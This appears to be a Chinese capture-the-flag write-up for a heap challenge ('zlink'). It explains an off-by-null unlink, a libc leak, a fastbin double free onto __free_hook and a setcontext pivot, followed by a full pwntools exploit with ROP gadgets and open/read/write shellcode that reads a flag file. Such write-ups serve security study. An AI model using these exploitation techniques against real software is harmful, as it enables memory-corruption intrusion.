程序分析

checksec保护全开

且存在沙箱,禁用了execve

ida分析程序

有增删改查功能的存在

但show与edit功能同样只能使用一次,且edit功能可以触发后门,在free_hook-0x10处写入0x7f

delete功能free过后指针清零

add功能限制申请的堆块不能超过0x70,但是可以利用offbynull

利用思路

  • offbynull进行unlink

    • 利用程序预设,先申请两个大堆块记作chunk_0和chunk_1
    • free掉chunk_0,利用残留main_arena 泄露libc地址
    • 之后申请多次堆块距填满还差一个的时候,利用offbynull,形成一个可控的且处于free状态的堆块(同时对其填入main_arena+96-0x18main_arena+96-0x10,用于unlink)
    • 由于上面的offbynull,导致chunk_1也被影响,需要在末尾伪造size位进行修复
    • 最后进行unlink,控制堆块落到free_hook
  • 利用setcontext执行orw

    • setcontext+53写入到free_hook
    • 新建0x50堆块,再新建堆块填入要为各个寄存器传入的值
    • free掉0x50的堆块,促使其rdi的偏移索引到各个寄存器的值
    • 最后传入open\read\write的shellcode

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#!/usr/bin/env python3
# -*- coding: utf-8 -*- #
# @偏有宸机_Exploit-Template
# Exploiting: python exploit.py [IP PORT] [Exploit_Template]
# Edit values:
# - RemPro()
# - elf_addr
# - pro_libc
# - enable_Onegadgets
# - exp()

import os
import sys
import subprocess
from pwn import *
# context.terminal = ["tmux","new-window"]
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"
# context.arch = "i386"
context.log_level = "debug"

### 远程本地连接
def RemPro(ip='',port=''):
global sh,elf,libc,one_ggs
elf_addr = "./zlink" # 本地ELF
pro_libc = "/lib/x86_64-linux-gnu/libc.so.6" # Libc文件
rem_libc = "/mnt/hgfs/DA1SY/Tools/LINUX/Pwn-tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so"
if len(sys.argv) > 2 :
sh = remote(sys.argv[1],sys.argv[2])
try:
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
log.info("No set Remote_libc...")
libc = ELF(pro_libc)
else:
libc = ELF(pro_libc)
try:
sh = remote(ip,port)
libc = ELF(rem_libc)
pro_libc = rem_libc
except:
sh = process(elf_addr)
# one_ggs = [0x45226, 0x4527a, 0xf0364,0xf1207]
one_ggs = one_gadget(pro_libc)
elf = ELF(elf_addr)
return 1

### 调试用
def debug(cmd=""):
if len(sys.argv) <= 2:
log.progress("Loading Debug....")
gdb.attach(sh,cmd)

def exp():
def add(idx,size,content):
sh.sendlineafter(" :","1")
sh.sendlineafter("ex:",str(idx))
sh.sendafter("eap : ",str(size))
sh.sendafter("t?:",content)
def show(idx):
sh.sendlineafter(" :","5")
sh.sendlineafter("ex :",str(idx))
def edit(idx,content):
sh.sendlineafter(" :","6")
sh.sendlineafter("ex:",str(idx))
sh.sendafter("?:",content)
def dele(idx):
sh.sendlineafter(" :","2")
sh.sendlineafter("ex:",str(idx))


# 申请0x100和0x510的堆块,记作idx_14和idx_15
sh.sendlineafter(" :","4")
# 在idx_15后面申请0x30的堆块,记作idx_0 addr=> 0x555555757610
add(0, 0x28,p64(0)+p64(0x21))
# free掉idx_14,形成unsortedbin
dele(14)
# 在申请idx_1,使其分割idx_14这个unsortedbin
add(1, 0x48,"a"*8) # 0x555555757000
# 此时即可利用unsortedbin中残留的main_arena指针来计算libc的地址
show(1)
sh.recvuntil("a"*8)
main_arena = u64(sh.recv(6).ljust(8,b"\x00"))-328
success("main_arena => 0x%x",main_arena)
libc_base = main_arena-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
success("__free_hook => 0x%x",free_hook)
setcontext = libc_base + libc.sym['setcontext']
success("setcontext => 0x%x",setcontext)
# 继续添加一个堆块分割idx_14使其只剩0x70的大小
add(2, 0x38,"b"*8)
# 之后在添加一个0x68的堆块idx_10 形成offbynull,从而使该堆块与idx_15同时形成free状态
add(10, 0x68, p64(main_arena+96-0x18)+p64(main_arena+96-0x10))
# 在idx_15堆块的末尾构造一个size位,修复被影响的idx_15
# 0x555555757600: 0x0000000000000000 0x0000000000000021
# 0x555555757610: 0x0000000000000000 0x0000000000000031
# 0x555555757620: 0x0000000000000000 0x0000000000000021
# 0x555555757630: 0x0000000000000000 0x0000000000000021
# 0x555555757640: 0x0000000000000000 0x00000000000209c1
edit(15,b"\x00"*0x4f0+p64(0)+p64(0x21))
# free掉idx_15向前合并,使其受控于idx_10
# debug()
dele(15)



# 添加堆块idx_3落到idx_10,之后就可以利用doublefree来修改其fd指针
add(3,0x68,"c"*8) #idx_3 => idx_10
add(4,0x68,"d"*8)
dele(3)
dele(4)
dele(10)
#将fd指针修改到free_hook-0x18处,因为该地址存在程序中留存的后门0x7f
add(3,0x68,p64(free_hook-0x18))
add(4,0x68,"eeee")
add(5,0x68,"ffff")
# setcontext+53的地址填入free_hook,用于在下一步中触发
add(6,0x68,(b"a"*0x8)+p64(setcontext+53)) # 指向 -> idx_7

# 此处必须有一个0x50的堆块
# 用于在free过后,堆块地址赋值到到rdi,再通过对rdi的偏移进行索引
add(7,0x50,"gggg")

# 一些关键gadgets的地址
sc_addr = libc_base + 0x3c6000
pop_rdi = libc_base + 0x21112
pop_rsi = libc_base + 0x202f8
pop_rdx = libc_base + 0x01b92
pop_rax = libc_base + 0x3a738
syscall = libc_base + 0xbc3f5
# 按照setcontext结构进行布局,分别对寄存器传参数
# 为后续的shellcode执行做准备
payload = p64(0) # mov r15 , [rdi + 0x60]
payload += p64(0) # mov rdi , [rdi + 0x68]
payload += p64(sc_addr) # mov rsi , [rdi + 0x70]
payload += p64(0) # mov rbp , [rdi + 0x78]
payload += p64(0) # mov rbx , [rdi + 0x80]
payload += p64(0x100) # mov rdx , [rdi + 0x88]
payload += p64(0) #
payload += p64(0) # mov rcx , [rdi + 0x98]
payload += p64(sc_addr) # mov rsp , [rdi + 0xa0]
payload += p64(syscall) # mov rcx , [rdi + 0xa8]
add(8,0x70,payload)

# 之后free掉idx_7触发setcontext及上面idx_8中的参数
dele(7)

# 最后编写shellcode 传进去即可
payload2 = [
pop_rdi , sc_addr ,
pop_rsi , 0x2000 ,
pop_rdx , 7 ,
pop_rax , 10 ,
syscall , libc_base + 0x2a71
# 0x7ffff7a0fa71 jmp rsp <lock>
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
mov edi, eax
mov rsi, rsp
mov edx, 0x30
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
''')
sh.send(flat(payload2)+shellcode)

# debug()

return sh



if __name__=="__main__":
RemPro()
if len(sys.argv) > 3 :
eval(sys.argv[3])()
elif (len(sys.argv)>1 and len(sys.argv)<3):
eval(sys.argv[1])()
else:
exp()
sh.interactive()